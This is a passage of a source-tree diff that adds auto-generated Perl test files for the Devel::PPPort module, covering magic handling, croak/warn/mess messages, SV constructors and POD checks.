+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (23) {
+ load();
+ plan(tests => 23);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+# Find proper magic
+ok(my $obj1 = Devel::PPPort->new_with_mg());
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Find with no magic
+my $obj = bless {}, 'Fake::Class';
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Find with other magic (not the magic we are looking for)
+ok($obj = Devel::PPPort->new_with_other_mg());
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Okay, attempt to remove magic that isn't there
+Devel::PPPort::remove_other_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Remove magic that IS there
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+# Removing when no magic present
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo';
+$h{bar} = '';
+
+&Devel::PPPort::sv_catpv_mg($h{foo}, 'bar');
+ok($h{foo}, 'foobar');
+
+&Devel::PPPort::sv_catpvn_mg($h{bar}, 'baz');
+ok($h{bar}, 'baz');
+
+&Devel::PPPort::sv_catsv_mg($h{foo}, '42');
+ok($h{foo}, 'foobar42');
+
+&Devel::PPPort::sv_setiv_mg($h{bar}, 42);
+ok($h{bar}, 42);
+
+&Devel::PPPort::sv_setnv_mg($h{PI}, 3.14159);
+ok(abs($h{PI} - 3.14159) < 0.01);
+
+&Devel::PPPort::sv_setpv_mg($h{mhx}, 'mhx');
+ok($h{mhx}, 'mhx');
+
+&Devel::PPPort::sv_setpvn_mg($h{mhx}, 'Marcus');
+ok($h{mhx}, 'Marcus');
+
+&Devel::PPPort::sv_setsv_mg($h{sv}, 'SV');
+ok($h{sv}, 'SV');
+
+&Devel::PPPort::sv_setuv_mg($h{sv}, 4711);
+ok($h{sv}, 4711);
+
+&Devel::PPPort::sv_usepvn_mg($h{sv}, 'Perl');
+ok($h{sv}, 'Perl');
+
+# v1 is treated as a bareword in older perls...
+my $ver = do { local $SIG{'__WARN__'} = sub {}; eval qq[v1.2.0] };
+ok($] < 5.009 || $@ eq '');
+ok($] < 5.009 || Devel::PPPort::SvVSTRING_mg($ver));
+ok(!Devel::PPPort::SvVSTRING_mg(4711));
+
+my $foo = 'bar';
+ok(Devel::PPPort::sv_magic_portable($foo));
+ok($foo eq 'bar');
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t
new file mode 100644
index 00000000000..74ecb991bcf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t
@@ -0,0 +1,52 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/memory instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::checkmem(), 6);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t
new file mode 100644
index 00000000000..9a9822ade0d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t
@@ -0,0 +1,284 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/mess instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (93) {
+ load();
+ plan(tests => 93);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+BEGIN { if ($] lt '5.006') { $^W = 0; } }
+
+my $warn;
+my $die;
+local $SIG{__WARN__} = sub { $warn = $_[0] };
+local $SIG{__DIE__} = sub { $die = $_[0] };
+
+my $scalar_ref = \do {my $tmp = 10};
+my $array_ref = [];
+my $hash_ref = {};
+my $obj = bless {}, 'Package';
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") };
+ok $@, "\xE1\n";
+ok $die, "\xE1\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv(10) };
+ok $@ =~ /^10 at $0 line /;
+ok $die =~ /^10 at $0 line /;
+
+undef $die;
+$@ = 'should not be visible (1)';
+ok !defined eval {
+ $@ = 'should not be visible (2)';
+ Devel::PPPort::croak_sv('');
+};
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = 'this must be visible';
+ Devel::PPPort::croak_sv($@)
+};
+ok $@ =~ /^this must be visible at $0 line /;
+ok $die =~ /^this must be visible at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = "this must be visible\n";
+ Devel::PPPort::croak_sv($@)
+};
+ok $@, "this must be visible\n";
+ok $die, "this must be visible\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv('') };
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1") };
+ok $@ =~ /^\xE1 at $0 line /;
+ok $die =~ /^\xE1 at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ok $@ =~ /^\xC3\xA1 at $0 line /;
+ok $die =~ /^\xC3\xA1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1\n");
+ok $warn, "\xE1\n";
+
+undef $warn;
+Devel::PPPort::warn_sv(10);
+ok $warn =~ /^10 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv('');
+ok $warn =~ /^ at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1");
+ok $warn =~ /^\xE1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xC3\xA1");
+ok $warn =~ /^\xC3\xA1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1\n", 0), "\xE1\n";
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n";
+
+ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /;
+
+ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /;
+
+if ($] ge '5.006') {
+ BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") };
+ ok $@, "\x{100}\n";
+ if ($] ne '5.008') {
+ ok $die, "\x{100}\n";
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}") };
+ ok $@ =~ /^\x{100} at $0 line /;
+ if ($] ne '5.008') {
+ ok $die =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ if ($] ne '5.008') {
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}\n");
+ ok $warn, "\x{100}\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}");
+ ok (my $tmp = $warn) =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in warn hook', 0 for 1..2;
+ }
+
+ ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n";
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n";
+
+ ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /;
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /;
+} else {
+ skip 'skip: no utf8 support', 0 for 1..12;
+}
+
+if (ord('A') != 65) {
+ skip 'skip: no ASCII support', 0 for 1..24;
+} elsif ($] ge '5.008' && $] ne '5.012000') {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') };
+ ok $@, "\xE1\n";
+ ok $die, "\xE1\n";
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') };
+ ok $@ =~ /^\xE1 at $0 line /;
+ ok $die =~ /^\xE1 at $0 line /;
+
+ {
+ undef $die;
+ my $expect = eval '"\N{U+C3}\N{U+A1}\n"';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") };
+ ok $@, $expect;
+ ok $die, $expect;
+ }
+
+ {
+ undef $die;
+ my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ ok $@ =~ $expect;
+ ok $die =~ $expect;
+ }
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"');
+ ok $warn, "\xE1\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}"');
+ ok $warn =~ /^\xE1 at $0 line /;
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1\n");
+ ok $warn, eval '"\N{U+C3}\N{U+A1}\n"';
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1");
+ ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+} else {
+ skip 'skip: no support for \N{U+..} syntax', 0 for 1..24;
+}
+
+if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) };
+ ok $@ == $scalar_ref;
+ ok $die == $scalar_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($array_ref) };
+ ok $@ == $array_ref;
+ ok $die == $array_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($hash_ref) };
+ ok $@ == $hash_ref;
+ ok $die == $hash_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($obj) };
+ ok $@ == $obj;
+ ok $die == $obj;
+} else {
+ skip 'skip: no support for exceptions', 0 for 1..12;
+}
+
+ok !defined eval { Devel::PPPort::croak_no_modify() };
+ok $@ =~ /^Modification of a read-only value attempted at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_memory_wrap() };
+ok $@ =~ /^panic: memory wrap at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_xs_usage("params") };
+ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /;
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t
new file mode 100644
index 00000000000..0c4f027380e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t
@@ -0,0 +1,157 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/misc instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (48) {
+ load();
+ plan(tests => 48);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+use vars qw($my_sv @my_av %my_hv);
+
+ok(&Devel::PPPort::boolSV(1));
+ok(!&Devel::PPPort::boolSV(0));
+
+$_ = "Fred";
+ok(&Devel::PPPort::DEFSV(), "Fred");
+ok(&Devel::PPPort::UNDERBAR(), "Fred");
+
+if ($] >= 5.009002 && $] < 5.023 && $] < 5.023004) {
+ eval q{
+ no warnings "deprecated";
+ no if $^V > v5.17.9, warnings => "experimental::lexical_topic";
+ my $_ = "Tony";
+ ok(&Devel::PPPort::DEFSV(), "Fred");
+ ok(&Devel::PPPort::UNDERBAR(), "Tony");
+ };
+}
+else {
+ ok(1);
+ ok(1);
+}
+
+my @r = &Devel::PPPort::DEFSV_modify();
+
+ok(@r == 3);
+ok($r[0], 'Fred');
+ok($r[1], 'DEFSV');
+ok($r[2], 'Fred');
+
+ok(&Devel::PPPort::DEFSV(), "Fred");
+
+eval { 1 };
+ok(!&Devel::PPPort::ERRSV());
+eval { cannot_call_this_one() };
+ok(&Devel::PPPort::ERRSV());
+
+ok(&Devel::PPPort::gv_stashpvn('Devel::PPPort', 0));
+ok(!&Devel::PPPort::gv_stashpvn('does::not::exist', 0));
+ok(&Devel::PPPort::gv_stashpvn('does::not::exist', 1));
+
+$my_sv = 1;
+ok(&Devel::PPPort::get_sv('my_sv', 0));
+ok(!&Devel::PPPort::get_sv('not_my_sv', 0));
+ok(&Devel::PPPort::get_sv('not_my_sv', 1));
+
+@my_av = (1);
+ok(&Devel::PPPort::get_av('my_av', 0));
+ok(!&Devel::PPPort::get_av('not_my_av', 0));
+ok(&Devel::PPPort::get_av('not_my_av', 1));
+
+%my_hv = (a=>1);
+ok(&Devel::PPPort::get_hv('my_hv', 0));
+ok(!&Devel::PPPort::get_hv('not_my_hv', 0));
+ok(&Devel::PPPort::get_hv('not_my_hv', 1));
+
+sub my_cv { 1 };
+ok(&Devel::PPPort::get_cv('my_cv', 0));
+ok(!&Devel::PPPort::get_cv('not_my_cv', 0));
+ok(&Devel::PPPort::get_cv('not_my_cv', 1));
+
+ok(Devel::PPPort::dXSTARG(42), 43);
+ok(Devel::PPPort::dAXMARK(4711), 4710);
+
+ok(Devel::PPPort::prepush(), 42);
+
+ok(join(':', Devel::PPPort::xsreturn(0)), 'test1');
+ok(join(':', Devel::PPPort::xsreturn(1)), 'test1:test2');
+
+ok(Devel::PPPort::PERL_ABS(42), 42);
+ok(Devel::PPPort::PERL_ABS(-13), 13);
+
+ok(Devel::PPPort::SVf(42), $] >= 5.004 ? '[42]' : '42');
+ok(Devel::PPPort::SVf('abc'), $] >= 5.004 ? '[abc]' : 'abc');
+
+ok(&Devel::PPPort::Perl_ppaddr_t("FOO"), "foo");
+
+ok(&Devel::PPPort::ptrtests(), 63);
+
+ok(&Devel::PPPort::OpSIBLING_tests(), 0);
+
+if ($] >= 5.009000) {
+ eval q{
+ ok(&Devel::PPPort::check_HeUTF8("hello"), "norm");
+ ok(&Devel::PPPort::check_HeUTF8("\N{U+263a}"), "utf8");
+ };
+} else {
+ ok(1, 1);
+ ok(1, 1);
+}
+
+@r = &Devel::PPPort::check_c_array();
+ok($r[0], 4);
+ok($r[1], "13");
+
+ok(!Devel::PPPort::SvRXOK(""));
+ok(!Devel::PPPort::SvRXOK(bless [], "Regexp"));
+
+if ($] < 5.005) {
+ skip 'no qr// objects in this perl', 0;
+ skip 'no qr// objects in this perl', 0;
+} else {
+ my $qr = eval 'qr/./';
+ ok(Devel::PPPort::SvRXOK($qr));
+ ok(Devel::PPPort::SvRXOK(bless $qr, "Surprise"));
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t
new file mode 100644
index 00000000000..cb207a4587f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t
@@ -0,0 +1,59 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newCONSTSUB instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (3) {
+ load();
+ plan(tests => 3);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+&Devel::PPPort::call_newCONSTSUB_1();
+ok(&Devel::PPPort::test_value_1(), 1);
+
+&Devel::PPPort::call_newCONSTSUB_2();
+ok(&Devel::PPPort::test_value_2(), 2);
+
+&Devel::PPPort::call_newCONSTSUB_3();
+ok(&Devel::PPPort::test_value_3(), 3);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t
new file mode 100644
index 00000000000..731a62b1f65
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t
@@ -0,0 +1,53 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newRV instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::newRV_inc_REFCNT, 1);
+ok(&Devel::PPPort::newRV_noinc_REFCNT, 1);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t
new file mode 100644
index 00000000000..1b3233e5ce7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t
@@ -0,0 +1,52 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newSV_type instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::newSV_type(), 4);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t
new file mode 100644
index 00000000000..d14a53fbe89
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t
@@ -0,0 +1,78 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newSVpv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (15) {
+ load();
+ plan(tests => 15);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @s = &Devel::PPPort::newSVpvn();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_flags();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_utf8();
+ok(@s == 1);
+ok($s[0], "test");
+
+if ($] >= 5.008001) {
+ require utf8;
+ ok(utf8::is_utf8($s[0]));
+}
+else {
+ skip("skip: no is_utf8()", 0);
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t
new file mode 100644
index 00000000000..c1a35b20a00
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t
@@ -0,0 +1,83 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/podtest instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (0) {
+ load();
+ plan(tests => 0);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @pods = qw( HACKERS PPPort.pm ppport.h soak devel/regenerate devel/buildperl.pl );
+
+my $reason = '';
+
+if ($ENV{'SKIP_SLOW_TESTS'}) {
+ $reason = 'SKIP_SLOW_TESTS';
+}
+else {
+ # Try loading Test::Pod
+ eval q{
+ use Test::Pod;
+ $Test::Pod::VERSION >= 0.95
+ or die "Test::Pod version only $Test::Pod::VERSION";
+ import Test::Pod tests => scalar @pods;
+ };
+ $reason = 'Test::Pod >= 0.95 required' if $@;
+}
+
+if ($reason) {
+ load();
+ plan(tests => scalar @pods);
+}
+
+for (@pods) {
+ print "# checking $_\n";
+ if ($reason) {
+ skip("skip: $reason", 0);
+ }
+ else {
+ pod_file_ok($_);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t
new file mode 100644
index 00000000000..90d7d24ab82
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t
@@ -0,0 +1,947 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/ppphtest instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (238) {
+ load();
+ plan(tests => 238);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
